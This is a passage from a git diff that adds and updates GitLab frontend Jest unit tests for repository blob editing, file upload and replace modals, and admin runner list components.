+ it('does not render if not logged in', async () => {
+ window.gon.current_user_id = null;
+
+ fullFactory({
+ mockData: { blobInfo: simpleMockData },
+ stubs: {
+ BlobContent: true,
+ BlobReplace: true,
+ },
+ });
+
+ await nextTick();
+
+ expect(findBlobReplace().exists()).toBe(false);
+ });
});
});
});
diff --git a/spec/frontend/repository/components/blob_header_edit_spec.js b/spec/frontend/repository/components/blob_header_edit_spec.js
new file mode 100644
index 00000000000..c0eb7c523c4
--- /dev/null
+++ b/spec/frontend/repository/components/blob_header_edit_spec.js
@@ -0,0 +1,82 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import BlobHeaderEdit from '~/repository/components/blob_header_edit.vue';
+import WebIdeLink from '~/vue_shared/components/web_ide_link.vue';
+
+const DEFAULT_PROPS = {
+ editPath: 'some_file.js/edit',
+ webIdePath: 'some_file.js/ide/edit',
+};
+
+describe('BlobHeaderEdit component', () => {
+ let wrapper;
+
+ const createComponent = (consolidatedEditButton = false, props = {}) => {
+ wrapper = shallowMount(BlobHeaderEdit, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ provide: {
+ glFeatures: {
+ consolidatedEditButton,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findButtons = () => wrapper.findAll(GlButton);
+ const findEditButton = () => findButtons().at(0);
+ const findWebIdeButton = () => findButtons().at(1);
+ const findWebIdeLink = () => wrapper.find(WebIdeLink);
+
+ it('renders component', () => {
+ createComponent();
+
+ const { editPath, webIdePath } = DEFAULT_PROPS;
+
+ expect(wrapper.props()).toMatchObject({
+ editPath,
+ webIdePath,
+ });
+ });
+
+ it('renders both buttons', () => {
+ createComponent();
+
+ expect(findButtons()).toHaveLength(2);
+ });
+
+ it('renders the Edit button', () => {
+ createComponent();
+
+ expect(findEditButton().attributes('href')).toBe(DEFAULT_PROPS.editPath);
+ expect(findEditButton().text()).toBe('Edit');
+ expect(findEditButton()).not.toBeDisabled();
+ });
+
+ it('renders the Web IDE button', () => {
+ createComponent();
+
+ expect(findWebIdeButton().attributes('href')).toBe(DEFAULT_PROPS.webIdePath);
+ expect(findWebIdeButton().text()).toBe('Web IDE');
+ expect(findWebIdeButton()).not.toBeDisabled();
+ });
+
+ it('renders WebIdeLink component', () => {
+ createComponent(true);
+
+ const { editPath: editUrl, webIdePath: webIdeUrl } = DEFAULT_PROPS;
+
+ expect(findWebIdeLink().props()).toMatchObject({
+ editUrl,
+ webIdeUrl,
+ isBlob: true,
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/blob_replace_spec.js b/spec/frontend/repository/components/blob_replace_spec.js
new file mode 100644
index 00000000000..4a6f147da22
--- /dev/null
+++ b/spec/frontend/repository/components/blob_replace_spec.js
@@ -0,0 +1,67 @@
+import { shallowMount } from '@vue/test-utils';
+import BlobReplace from '~/repository/components/blob_replace.vue';
+import UploadBlobModal from '~/repository/components/upload_blob_modal.vue';
+
+const DEFAULT_PROPS = {
+ name: 'some name',
+ path: 'some/path',
+ canPushCode: true,
+ replacePath: 'some/replace/path',
+};
+
+const DEFAULT_INJECT = {
+ targetBranch: 'master',
+ originalBranch: 'master',
+};
+
+describe('BlobReplace component', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(BlobReplace, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...props,
+ },
+ provide: {
+ ...DEFAULT_INJECT,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findUploadBlobModal = () => wrapper.findComponent(UploadBlobModal);
+
+ it('renders component', () => {
+ createComponent();
+
+ const { name, path } = DEFAULT_PROPS;
+
+ expect(wrapper.props()).toMatchObject({
+ name,
+ path,
+ });
+ });
+
+ it('renders UploadBlobModal', () => {
+ createComponent();
+
+ const { targetBranch, originalBranch } = DEFAULT_INJECT;
+ const { name, path, canPushCode, replacePath } = DEFAULT_PROPS;
+ const title = `Replace ${name}`;
+
+ expect(findUploadBlobModal().props()).toMatchObject({
+ modalTitle: title,
+ commitMessage: title,
+ targetBranch,
+ originalBranch,
+ canPushCode,
+ path,
+ replacePath,
+ primaryBtnText: 'Replace file',
+ });
+ });
+});
diff --git a/spec/frontend/repository/components/table/row_spec.js b/spec/frontend/repository/components/table/row_spec.js
index 6ba6f993db1..da28c9873d9 100644
--- a/spec/frontend/repository/components/table/row_spec.js
+++ b/spec/frontend/repository/components/table/row_spec.js
@@ -1,5 +1,6 @@
import { GlBadge, GlLink, GlIcon } from '@gitlab/ui';
import { shallowMount, RouterLinkStub } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import TableRow from '~/repository/components/table/row.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { FILE_SYMLINK_MODE } from '~/vue_shared/constants';
@@ -18,6 +19,10 @@ function factory(propsData = {}) {
name: propsData.path,
projectPath: 'gitlab-org/gitlab-ce',
url: `https://test.com`,
+ totalEntries: 10,
+ },
+ directives: {
+ GlHoverLoad: createMockDirective(),
},
provide: {
glFeatures: { refactorBlobViewer: true },
@@ -34,6 +39,8 @@ function factory(propsData = {}) {
}
describe('Repository table row component', () => {
+ const findRouterLink = () => vm.find(RouterLinkStub);
+
afterEach(() => {
vm.destroy();
});
@@ -81,6 +88,21 @@ describe('Repository table row component', () => {
});
});
+ it('renders a gl-hover-load directive', () => {
+ factory({
+ id: '1',
+ sha: '123',
+ path: 'test',
+ type: 'blob',
+ currentPath: '/',
+ });
+
+ const hoverLoadDirective = getBinding(findRouterLink().element, 'gl-hover-load');
+
+ expect(hoverLoadDirective).not.toBeUndefined();
+ expect(hoverLoadDirective.value).toBeInstanceOf(Function);
+ });
+
it.each`
type | component | componentName
${'tree'} | ${RouterLinkStub} | ${'RouterLink'}
diff --git a/spec/frontend/repository/components/tree_content_spec.js b/spec/frontend/repository/components/tree_content_spec.js
index 2930e39df8a..d397bc185e2 100644
--- a/spec/frontend/repository/components/tree_content_spec.js
+++ b/spec/frontend/repository/components/tree_content_spec.js
@@ -1,7 +1,8 @@
import { shallowMount } from '@vue/test-utils';
import FilePreview from '~/repository/components/preview/index.vue';
import FileTable from '~/repository/components/table/index.vue';
-import TreeContent, { INITIAL_FETCH_COUNT } from '~/repository/components/tree_content.vue';
+import TreeContent from '~/repository/components/tree_content.vue';
+import { TREE_INITIAL_FETCH_COUNT } from '~/repository/constants';
let vm;
let $apollo;
@@ -128,7 +129,7 @@ describe('Repository table component', () => {
it('has limit of 1000 files on initial load', () => {
factory('/');
- expect(INITIAL_FETCH_COUNT * vm.vm.pageSize).toBe(1000);
+ expect(TREE_INITIAL_FETCH_COUNT * vm.vm.pageSize).toBe(1000);
});
});
});
diff --git a/spec/frontend/repository/components/upload_blob_modal_spec.js b/spec/frontend/repository/components/upload_blob_modal_spec.js
index ec85d5666fb..d93b1d7e5f1 100644
--- a/spec/frontend/repository/components/upload_blob_modal_spec.js
+++ b/spec/frontend/repository/components/upload_blob_modal_spec.js
@@ -200,4 +200,84 @@ describe('UploadBlobModal', () => {
});
},
);
+
+ describe('blob file submission type', () => {
+ const submitForm = async () => {
+ wrapper.vm.uploadFile = jest.fn();
+ wrapper.vm.replaceFile = jest.fn();
+ wrapper.vm.submitForm();
+ await wrapper.vm.$nextTick();
+ };
+
+ const submitRequest = async () => {
+ mock = new MockAdapter(axios);
+ findModal().vm.$emit('primary', mockEvent);
+ await waitForPromises();
+ };
+
+ describe('upload blob file', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('displays the default "Upload New File" modal title ', () => {
+ expect(findModal().props('title')).toBe('Upload New File');
+ });
+
+ it('display the defaul primary button text', () => {
+ expect(findModal().props('actionPrimary').text).toBe('Upload file');
+ });
+
+ it('calls the default uploadFile when the form submit', async () => {
+ await submitForm();
+
+ expect(wrapper.vm.uploadFile).toHaveBeenCalled();
+ expect(wrapper.vm.replaceFile).not.toHaveBeenCalled();
+ });
+
+ it('makes a POST request', async () => {
+ await submitRequest();
+
+ expect(mock.history.put).toHaveLength(0);
+ expect(mock.history.post).toHaveLength(1);
+ });
+ });
+
+ describe('replace blob file', () => {
+ const modalTitle = 'Replace foo.js';
+ const replacePath = 'replace-path';
+ const primaryBtnText = 'Replace file';
+
+ beforeEach(() => {
+ createComponent({
+ modalTitle,
+ replacePath,
+ primaryBtnText,
+ });
+ });
+
+ it('displays the passed modal title', () => {
+ expect(findModal().props('title')).toBe(modalTitle);
+ });
+
+ it('display the passed primary button text', () => {
+ expect(findModal().props('actionPrimary').text).toBe(primaryBtnText);
+ });
+
+ it('calls the replaceFile when the form submit', async () => {
+ await submitForm();
+
+ expect(wrapper.vm.replaceFile).toHaveBeenCalled();
+ expect(wrapper.vm.uploadFile).not.toHaveBeenCalled();
+ });
+
+ it('makes a PUT request', async () => {
+ await submitRequest();
+
+ expect(mock.history.put).toHaveLength(1);
+ expect(mock.history.post).toHaveLength(0);
+ expect(mock.history.put[0].url).toBe(replacePath);
+ });
+ });
+ });
});
diff --git a/spec/frontend/repository/log_tree_spec.js b/spec/frontend/repository/log_tree_spec.js
index a842053caad..8cabf902a4f 100644
--- a/spec/frontend/repository/log_tree_spec.js
+++ b/spec/frontend/repository/log_tree_spec.js
@@ -69,6 +69,21 @@ describe('fetchLogsTree', () => {
mock.restore();
});
+ it('persists the offset for a given page if offset is larger than maximum offset', async () => {
+ await fetchLogsTree(client, 'path', '1000', resolver, 900).then(() => {});
+
+ await fetchLogsTree(client, 'path', '1100', resolver, 1200).then(() => {
+ expect(axios.get).toHaveBeenCalledWith('/gitlab-org/gitlab-foss/-/refs/main/logs_tree/path', {
+ params: { format: 'json', offset: 975 },
+ });
+ });
+ });
+
+ it('does not call axios get if offset is larger than the maximum offset', () =>
+ fetchLogsTree(client, '', '1000', resolver, 900).then(() => {
+ expect(axios.get).not.toHaveBeenCalled();
+ }));
+
it('calls axios get', () =>
fetchLogsTree(client, '', '0', resolver).then(() => {
expect(axios.get).toHaveBeenCalledWith('/gitlab-org/gitlab-foss/-/refs/main/logs_tree/', {
diff --git a/spec/frontend/runner/components/cells/runner_actions_cell_spec.js b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
new file mode 100644
index 00000000000..12651a82a0c
--- /dev/null
+++ b/spec/frontend/runner/components/cells/runner_actions_cell_spec.js
@@ -0,0 +1,201 @@
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import RunnerActionCell from '~/runner/components/cells/runner_actions_cell.vue';
+import deleteRunnerMutation from '~/runner/graphql/delete_runner.mutation.graphql';
+import getRunnersQuery from '~/runner/graphql/get_runners.query.graphql';
+import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+
+const mockId = '1';
+
+const getRunnersQueryName = getRunnersQuery.definitions[0].name.value;
+
+describe('RunnerTypeCell', () => {
+ let wrapper;
+ let mutate;
+
+ const findEditBtn = () => wrapper.findByTestId('edit-runner');
+ const findToggleActiveBtn = () => wrapper.findByTestId('toggle-active-runner');
+ const findDeleteBtn = () => wrapper.findByTestId('delete-runner');
+
+ const createComponent = ({ active = true } = {}, options) => {
+ wrapper = extendedWrapper(
+ shallowMount(RunnerActionCell, {
+ propsData: {
+ runner: {
+ id: `gid://gitlab/Ci::Runner/${mockId}`,
+ active,
+ },
+ },
+ mocks: {
+ $apollo: {
+ mutate,
+ },
+ },
+ ...options,
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ mutate = jest.fn();
+ });
+
+ afterEach(() => {
+ mutate.mockReset();
+ wrapper.destroy();
+ });
+
+ it('Displays the runner edit link with the correct href', () => {
+ createComponent();
+
+ expect(findEditBtn().attributes('href')).toBe('/admin/runners/1');
+ });
+
+ describe.each`
+ state | label | icon | isActive | newActiveValue
+ ${'active'} | ${'Pause'} | ${'pause'} | ${true} | ${false}
+ ${'paused'} | ${'Resume'} | ${'play'} | ${false} | ${true}
+ `('When the runner is $state', ({ label, icon, isActive, newActiveValue }) => {
+ beforeEach(() => {
+ mutate.mockResolvedValue({
+ data: {
+ runnerUpdate: {
+ runner: {
+ id: `gid://gitlab/Ci::Runner/1`,
+ __typename: 'CiRunner',
+ },
+ },
+ },
+ });
+
+ createComponent({ active: isActive });
+ });
+
+ it(`Displays a ${icon} button`, () => {
+ expect(findToggleActiveBtn().props('loading')).toBe(false);
+ expect(findToggleActiveBtn().props('icon')).toBe(icon);
+ expect(findToggleActiveBtn().attributes('title')).toBe(label);
+ expect(findToggleActiveBtn().attributes('aria-label')).toBe(label);
+ });
+
+ it(`After clicking the ${icon} button, the button has a loading state`, async () => {
+ await findToggleActiveBtn().vm.$emit('click');
+
+ expect(findToggleActiveBtn().props('loading')).toBe(true);
+ });
+
+ it(`After the ${icon} button is clicked, stale tooltip is removed`, async () => {
+ await findToggleActiveBtn().vm.$emit('click');
+
+ expect(findToggleActiveBtn().attributes('title')).toBe('');
+ expect(findToggleActiveBtn().attributes('aria-label')).toBe('');
+ });
+
+ describe(`When clicking on the ${icon} button`, () => {
+ beforeEach(async () => {
+ await findToggleActiveBtn().vm.$emit('click');
+ await waitForPromises();
+ });
+
+ it(`The apollo mutation to set active to ${newActiveValue} is called`, () => {
+ expect(mutate).toHaveBeenCalledTimes(1);
+ expect(mutate).toHaveBeenCalledWith({
+ mutation: runnerUpdateMutation,
+ variables: {
+ input: {
+ id: `gid://gitlab/Ci::Runner/${mockId}`,
+ active: newActiveValue,
+ },
+ },
+ });
+ });
+
+ it('The button does not have a loading state', () => {
+ expect(findToggleActiveBtn().props('loading')).toBe(false);
+ });
+ });
+ });
+
+ describe('When the user clicks a runner', () => {
+ beforeEach(() => {
+ createComponent();
+
+ mutate.mockResolvedValue({
+ data: {
+ runnerDelete: {
+ runner: {
+ id: `gid://gitlab/Ci::Runner/1`,
+ __typename: 'CiRunner',
+ },
+ },
+ },
+ });
+
+ jest.spyOn(window, 'confirm');
+ });
+
+ describe('When the user confirms deletion', () => {
+ beforeEach(async () => {
+ window.confirm.mockReturnValue(true);
+ await findDeleteBtn().vm.$emit('click');
+ });
+
+ it('The user sees a confirmation alert', async () => {
+ expect(window.confirm).toHaveBeenCalledTimes(1);
+ expect(window.confirm).toHaveBeenCalledWith(expect.any(String));
+ });
+
+ it('The delete mutation is called correctly', () => {
+ expect(mutate).toHaveBeenCalledTimes(1);
+ expect(mutate).toHaveBeenCalledWith({
+ mutation: deleteRunnerMutation,
+ variables: {
+ input: {
+ id: `gid://gitlab/Ci::Runner/${mockId}`,
+ },
+ },
+ awaitRefetchQueries: true,
+ refetchQueries: [getRunnersQueryName],
+ });
+ });
+
+ it('The delete button does not have a loading state', () => {
+ expect(findDeleteBtn().props('loading')).toBe(false);
+ expect(findDeleteBtn().attributes('title')).toBe('Remove');
+ });
+
+ it('After the delete button is clicked, loading state is shown', async () => {
+ await findDeleteBtn().vm.$emit('click');
+
+ expect(findDeleteBtn().props('loading')).toBe(true);
+ });
+
+ it('After the delete button is clicked, stale tooltip is removed', async () => {
+ await findDeleteBtn().vm.$emit('click');
+
+ expect(findDeleteBtn().attributes('title')).toBe('');
+ });
+ });
+
+ describe('When the user does not confirm deletion', () => {
+ beforeEach(async () => {
+ window.confirm.mockReturnValue(false);
+ await findDeleteBtn().vm.$emit('click');
+ });
+
+ it('The user sees a confirmation alert', () => {
+ expect(window.confirm).toHaveBeenCalledTimes(1);
+ });
+
+ it('The delete mutation is not called', () => {
+ expect(mutate).toHaveBeenCalledTimes(0);
+ });
+
+ it('The delete button does not have a loading state', () => {
+ expect(findDeleteBtn().props('loading')).toBe(false);
+ expect(findDeleteBtn().attributes('title')).toBe('Remove');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/cells/runner_name_cell_spec.js b/spec/frontend/runner/components/cells/runner_name_cell_spec.js
new file mode 100644
index 00000000000..26055fc0faf
--- /dev/null
+++ b/spec/frontend/runner/components/cells/runner_name_cell_spec.js
@@ -0,0 +1,42 @@
+import { GlLink } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import RunnerNameCell from '~/runner/components/cells/runner_name_cell.vue';
+
+const mockId = '1';
+const mockShortSha = '2P6oDVDm';
+const mockDescription = 'runner-1';
+
+describe('RunnerTypeCell', () => {
+ let wrapper;
+
+ const findLink = () => wrapper.findComponent(GlLink);
+
+ const createComponent = () => {
+ wrapper = mount(RunnerNameCell, {
+ propsData: {
+ runner: {
+ id: `gid://gitlab/Ci::Runner/${mockId}`,
+ shortSha: mockShortSha,
+ description: mockDescription,
+ },
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays the runner link with id and short token', () => {
+ expect(findLink().text()).toBe(`#${mockId} (${mockShortSha})`);
+ expect(findLink().attributes('href')).toBe(`/admin/runners/${mockId}`);
+ });
+
+ it('Displays the runner description', () => {
+ expect(wrapper.text()).toContain(mockDescription);
+ });
+});
diff --git a/spec/frontend/runner/components/cells/runner_type_cell_spec.js b/spec/frontend/runner/components/cells/runner_type_cell_spec.js
new file mode 100644
index 00000000000..48958a282fc
--- /dev/null
+++ b/spec/frontend/runner/components/cells/runner_type_cell_spec.js
@@ -0,0 +1,48 @@
+import { GlBadge } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import RunnerTypeCell from '~/runner/components/cells/runner_type_cell.vue';
+import { INSTANCE_TYPE } from '~/runner/constants';
+
+describe('RunnerTypeCell', () => {
+ let wrapper;
+
+ const findBadges = () => wrapper.findAllComponents(GlBadge);
+
+ const createComponent = ({ runner = {} } = {}) => {
+ wrapper = mount(RunnerTypeCell, {
+ propsData: {
+ runner: {
+ runnerType: INSTANCE_TYPE,
+ active: true,
+ locked: false,
+ ...runner,
+ },
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays the runner type', () => {
+ createComponent();
+
+ expect(findBadges()).toHaveLength(1);
+ expect(findBadges().at(0).text()).toBe('shared');
+ });
+
+ it('Displays locked and paused states', () => {
+ createComponent({
+ runner: {
+ active: false,
+ locked: true,
+ },
+ });
+
+ expect(findBadges()).toHaveLength(3);
+ expect(findBadges().at(0).text()).toBe('shared');
+ expect(findBadges().at(1).text()).toBe('locked');
+ expect(findBadges().at(2).text()).toBe('paused');
+ });
+});
diff --git a/spec/frontend/runner/components/runner_filtered_search_bar_spec.js b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
new file mode 100644
index 00000000000..61a8f821b30
--- /dev/null
+++ b/spec/frontend/runner/components/runner_filtered_search_bar_spec.js
@@ -0,0 +1,137 @@
+import { GlFilteredSearch, GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import RunnerFilteredSearchBar from '~/runner/components/runner_filtered_search_bar.vue';
+import { PARAM_KEY_STATUS, PARAM_KEY_RUNNER_TYPE } from '~/runner/constants';
+import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+describe('RunnerList', () => {
+ let wrapper;
+
+ const findFilteredSearch = () => wrapper.findComponent(FilteredSearch);
+ const findGlFilteredSearch = () => wrapper.findComponent(GlFilteredSearch);
+ const findSortOptions = () => wrapper.findAllComponents(GlDropdownItem);
+
+ const mockDefaultSort = 'CREATED_DESC';
+ const mockOtherSort = 'CONTACTED_DESC';
+ const mockFilters = [
+ { type: PARAM_KEY_STATUS, value: { data: 'ACTIVE', operator: '=' } },
+ { type: 'filtered-search-term', value: { data: '' } },
+ ];
+
+ const createComponent = ({ props = {}, options = {} } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(RunnerFilteredSearchBar, {
+ propsData: {
+ value: {
+ filters: [],
+ sort: mockDefaultSort,
+ },
+ ...props,
+ },
+ attrs: { namespace: 'runners' },
+ stubs: {
+ FilteredSearch,
+ GlFilteredSearch,
+ GlDropdown,
+ GlDropdownItem,
+ },
+ ...options,
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('binds a namespace to the filtered search', () => {
+ expect(findFilteredSearch().props('namespace')).toBe('runners');
+ });
+
+ it('sets sorting options', () => {
+ const SORT_OPTIONS_COUNT = 2;
+
+ expect(findSortOptions()).toHaveLength(SORT_OPTIONS_COUNT);
+ expect(findSortOptions().at(0).text()).toBe('Created date');
+ expect(findSortOptions().at(1).text()).toBe('Last contact');
+ });
+
+ it('sets tokens', () => {
+ expect(findFilteredSearch().props('tokens')).toEqual([
+ expect.objectContaining({
+ type: PARAM_KEY_STATUS,
+ options: expect.any(Array),
+ }),
+ expect.objectContaining({
+ type: PARAM_KEY_RUNNER_TYPE,
+ options: expect.any(Array),
+ }),
+ ]);
+ });
+
+ it('fails validation for v-model with the wrong shape', () => {
+ expect(() => {
+ createComponent({ props: { value: { filters: 'wrong_filters', sort: 'sort' } } });
+ }).toThrow('Invalid prop: custom validator check failed');
+
+ expect(() => {
+ createComponent({ props: { value: { sort: 'sort' } } });
+ }).toThrow('Invalid prop: custom validator check failed');
+ });
+
+ describe('when a search is preselected', () => {
+ beforeEach(() => {
+ createComponent({
+ props: {
+ value: {
+ sort: mockOtherSort,
+ filters: mockFilters,
+ },
+ },
+ });
+ });
+
+ it('filter values are shown', () => {
+ expect(findGlFilteredSearch().props('value')).toEqual(mockFilters);
+ });
+
+ it('sort option is selected', () => {
+ expect(
+ findSortOptions()
+ .filter((w) => w.props('isChecked'))
+ .at(0)
+ .text(),
+ ).toEqual('Last contact');
+ });
+ });
+
+ it('when the user sets a filter, the "search" is emitted with filters', () => {
+ findGlFilteredSearch().vm.$emit('input', mockFilters);
+ findGlFilteredSearch().vm.$emit('submit');
+
+ expect(wrapper.emitted('input')[0]).toEqual([
+ {
+ filters: mockFilters,
+ sort: mockDefaultSort,
+ pagination: { page: 1 },
+ },
+ ]);
+ });
+
+ it('when the user sets a sorting method, the "search" is emitted with the sort', () => {
+ findSortOptions().at(1).vm.$emit('click');
+
+ expect(wrapper.emitted('input')[0]).toEqual([
+ {
+ filters: [],
+ sort: mockOtherSort,
+ pagination: { page: 1 },
+ },
+ ]);
+ });
+});
diff --git a/spec/frontend/runner/components/runner_list_spec.js b/spec/frontend/runner/components/runner_list_spec.js
new file mode 100644
index 00000000000..d88d7b3fbee
--- /dev/null
+++ b/spec/frontend/runner/components/runner_list_spec.js
@@ -0,0 +1,130 @@
+import { GlLink, GlTable, GlSkeletonLoader } from '@gitlab/ui';
+import { mount, shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import RunnerList from '~/runner/components/runner_list.vue';
+import { runnersData } from '../mock_data';
+
+const mockRunners = runnersData.data.runners.nodes;
+const mockActiveRunnersCount = mockRunners.length;
+
+describe('RunnerList', () => {
+ let wrapper;
+
+ const findActiveRunnersMessage = () => wrapper.findByTestId('active-runners-message');
+ const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
+ const findTable = () => wrapper.findComponent(GlTable);
+ const findHeaders = () => wrapper.findAll('th');
+ const findRows = () => wrapper.findAll('[data-testid^="runner-row-"]');
+ const findCell = ({ row = 0, fieldKey }) =>
+ extendedWrapper(findRows().at(row).find(`[data-testid="td-${fieldKey}"]`));
+
+ const createComponent = ({ props = {} } = {}, mountFn = shallowMount) => {
+ wrapper = extendedWrapper(
+ mountFn(RunnerList, {
+ propsData: {
+ runners: mockRunners,
+ activeRunnersCount: mockActiveRunnersCount,
+ ...props,
+ },
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ createComponent({}, mount);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Displays active runner count', () => {
+ expect(findActiveRunnersMessage().text()).toBe(
+ `Runners currently online: ${mockActiveRunnersCount}`,
+ );
+ });
+
+ it('Displays a large active runner count', () => {
+ createComponent({ props: { activeRunnersCount: 2000 } });
+
+ expect(findActiveRunnersMessage().text()).toBe('Runners currently online: 2,000');
+ });
+
+ it('Displays headers', () => {
+ const headerLabels = findHeaders().wrappers.map((w) => w.text());
+
+ expect(headerLabels).toEqual([
+ 'Type/State',
+ 'Runner',
+ 'Version',
+ 'IP Address',
+ 'Projects',
+ 'Jobs',
+ 'Tags',
+ 'Last contact',
+ '', // actions has no label
+ ]);
+ });
+
+ it('Displays a list of runners', () => {
+ expect(findRows()).toHaveLength(3);
+
+ expect(findSkeletonLoader().exists()).toBe(false);
+ });
+
+ it('Displays details of a runner', () => {
+ const { id, description, version, ipAddress, shortSha } = mockRunners[0];
+
+ // Badges
+ expect(findCell({ fieldKey: 'type' }).text()).toMatchInterpolatedText('specific paused');
+
+ // Runner identifier
+ expect(findCell({ fieldKey: 'name' }).text()).toContain(
+ `#${getIdFromGraphQLId(id)} (${shortSha})`,
+ );
+ expect(findCell({ fieldKey: 'name' }).text()).toContain(description);
+
+ // Other fields: some cells are empty in the first iteration
+ // See https://gitlab.com/gitlab-org/gitlab/-/issues/329658#pending-features
+ expect(findCell({ fieldKey: 'version' }).text()).toBe(version);
+ expect(findCell({ fieldKey: 'ipAddress' }).text()).toBe(ipAddress);
+ expect(findCell({ fieldKey: 'projectCount' }).text()).toBe('');
+ expect(findCell({ fieldKey: 'jobCount' }).text()).toBe('');
+ expect(findCell({ fieldKey: 'tagList' }).text()).toBe('');
+ expect(findCell({ fieldKey: 'contactedAt' }).text()).toEqual(expect.any(String));
+
+ // Actions
+ const actions = findCell({ fieldKey: 'actions' });
+
+ expect(actions.findByTestId('edit-runner').exists()).toBe(true);
+ expect(actions.findByTestId('toggle-active-runner').exists()).toBe(true);
+ });
+
+ it('Links to the runner page', () => {
+ const { id } = mockRunners[0];
+
+ expect(findCell({ fieldKey: 'name' }).find(GlLink).attributes('href')).toBe(
+ `/admin/runners/${getIdFromGraphQLId(id)}`,
+ );
+ });
+
+ describe('When data is loading', () => {
+ it('shows a busy state', () => {
+ createComponent({ props: { runners: [], loading: true } });
+ expect(findTable().attributes('busy')).toBeTruthy();
+ });
+
+ it('when there are no runners, shows an skeleton loader', () => {
+ createComponent({ props: { runners: [], loading: true } }, mount);
+
+ expect(findSkeletonLoader().exists()).toBe(true);
+ });
+
+ it('when there are runners, shows a busy indicator skeleton loader', () => {
+ createComponent({ props: { loading: true } }, mount);
+
+ expect(findSkeletonLoader().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/runner/components/runner_manual_setup_help_spec.js b/spec/frontend/runner/components/runner_manual_setup_help_spec.js
new file mode 100644
index 00000000000..ca5c88f6e28
--- /dev/null
+++ b/spec/frontend/runner/components/runner_manual_setup_help_spec.js
@@ -0,0 +1,84 @@
+import { GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { TEST_HOST } from 'helpers/test_constants';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import RunnerManualSetupHelp from '~/runner/components/runner_manual_setup_help.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import RunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
+
+const mockRegistrationToken = 'MOCK_REGISTRATION_TOKEN';
+const mockRunnerInstallHelpPage = 'https://docs.gitlab.com/runner/install/';
+
+describe('RunnerManualSetupHelp', () => {
+ let wrapper;
+ let originalGon;
+
+ const findRunnerInstructions = () => wrapper.findComponent(RunnerInstructions);
+ const findClipboardButtons = () => wrapper.findAllComponents(ClipboardButton);
+ const findRunnerHelpTitle = () => wrapper.findByTestId('runner-help-title');
+ const findCoordinatorUrl = () => wrapper.findByTestId('coordinator-url');
+ const findRegistrationToken = () => wrapper.findByTestId('registration-token');
+ const findRunnerHelpLink = () => wrapper.findByTestId('runner-help-link');
+
+ const createComponent = ({ props = {} } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(RunnerManualSetupHelp, {
+ provide: {
+ runnerInstallHelpPage: mockRunnerInstallHelpPage,
+ },
+ propsData: {
+ registrationToken: mockRegistrationToken,
+ ...props,
+ },
+ stubs: {
+ GlSprintf,
+ },
+ }),
+ );
+ };
+
+ beforeAll(() => {
+ originalGon = global.gon;
+ global.gon = { gitlab_url: TEST_HOST };
+ });
+
+ afterAll(() => {
+ global.gon = originalGon;
+ });
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('Title contains the default runner type', () => {
+ expect(findRunnerHelpTitle().text()).toMatchInterpolatedText('Set up a shared runner manually');
+ });
+
+ it('Title contains the group runner type', () => {
+ createComponent({ props: { typeName: 'group' } });
+
+ expect(findRunnerHelpTitle().text()).toMatchInterpolatedText('Set up a group runner manually');
+ });
+
+ it('Runner Install Page link', () => {
+ expect(findRunnerHelpLink().attributes('href')).toBe(mockRunnerInstallHelpPage);
+ });
+
+ it('Displays the coordinator URL token', () => {
+ expect(findCoordinatorUrl().text()).toBe(TEST_HOST);
+ expect(findClipboardButtons().at(0).props('text')).toBe(TEST_HOST);
+ });
+
+ it('Displays the registration token', () => {
+ expect(findRegistrationToken().text()).toBe(mockRegistrationToken);
+ expect(findClipboardButtons().at(1).props('text')).toBe(mockRegistrationToken);
+ });
+
+ it('Displays the runner instructions', () => {
+ expect(findRunnerInstructions().exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/runner/components/runner_pagination_spec.js b/spec/frontend/runner/components/runner_pagination_spec.js
new file mode 100644
index 00000000000..59feb32dd2a
--- /dev/null
